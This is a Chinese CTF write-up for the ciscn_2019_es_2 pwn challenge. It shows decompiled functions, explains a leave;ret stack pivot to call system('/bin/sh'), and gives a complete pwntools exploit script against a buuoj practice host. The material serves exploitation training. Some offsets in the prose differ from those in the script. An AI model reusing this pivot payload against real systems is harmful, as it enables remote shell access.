加载头像

ciscn_2019_es_2

Ubuntu 18


checksec

1
2
3
4
5
6
[*] '/home/zelas/Desktop/pwn/ciscn_2019_es_2/ciscn_2019_es_2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled //栈不可执行
PIE: No PIE (0x8048000)

IDA

vul()

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s); //
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}

可疑函数hack()

1
2
3
4
int hack()
{
return system("echo flag");
}

//0x804854B

//system() 0x8048400

0x02


思路

发现s距离ebp为0x28个字节,而read函数只能输入0x30个字节大小的数据,所以垃圾数据只能刚好填充到ret,而不能改变ret的值,因此不能栈溢出。

现在这种情况应该用栈迁移,先构造rop链,写入system(/bin/sh),然后再通过栈迁移到我们写入的地方,最后getshell。所以我们需要解决的问题有:

​ 1.知道我们写入数据的地址,

​ 2.构造rop链。
第一个问题,我们写入数据的地址即参数s在栈上的地址=ebp-偏移量。

​ (1).获得ebp指针的地址:vul函数刚好有两次输入和printf输出,可以通过第一次输入输出获得ebp地址(printf函数在输出时遇到’\0’会停止,那么我们可以将s参数填满,这样就没法在尾部添上’\0’)。

​ (2)偏移量由pwndbg调试出为0x38(我还没搞明白pwndbg)

​ 第二个问题,构造payload。这里用leave_ret(leave_ret的地址随便找一个就可以)来进行栈迁移。

第一个’aaaa’随便输,这里是因为用leave_ret进行迁移时esp会+4字节。

然后输入system函数的地址,再后面的’aaaa’为system的返回地址。

然后p32(ebp_addr-0x28)+’/bin/sh\x00’)即跳到ebp-0x28的地址上写入’/bin/sh\x00’。

再将s参数的0x28空间补齐,然后在ebp_addr的地址上写为参数s的地址即ebp_addr-0x38,

最后加上leave_ret的地址。

栈迁移
leave
//move esp ebp 将ebp指向的地址给esp
//pop ebp 将esp指向的地址存放的值赋值给ebp(然后esp+4)
ret
//pop eip 将esp指向的地址存放的值赋值给eip

0x03


exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context(os='linux', arch='i386', log_level='debug')
# io = process(['ciscn_2019_es_2'])
io = remote('node4.buuoj.cn', 26427)

padding = 0x28
system = 0x8048400
payload = b'a' * padding
io.send(payload)
delim = b'\xff'
ebp = u32(io.recvuntil(delim)[-4:])
print('[+] ebp_address', hex(ebp))

pl2 = (b'a'*8+p32(ebp-0x24)+b'a'*4+p32(system)+b'a'*4+p32(ebp-0x1c)+b'/bin/sh\x00').ljust(0x28, b'a')+p32(ebp-0x2c)
io.send(pl2)
io.interactive()


评论
✅ 你无需删除空行,直接评论以获取最佳展示效果
引用到评论
随便逛逛博客分类文章标签
复制地址关闭热评深色模式轉為繁體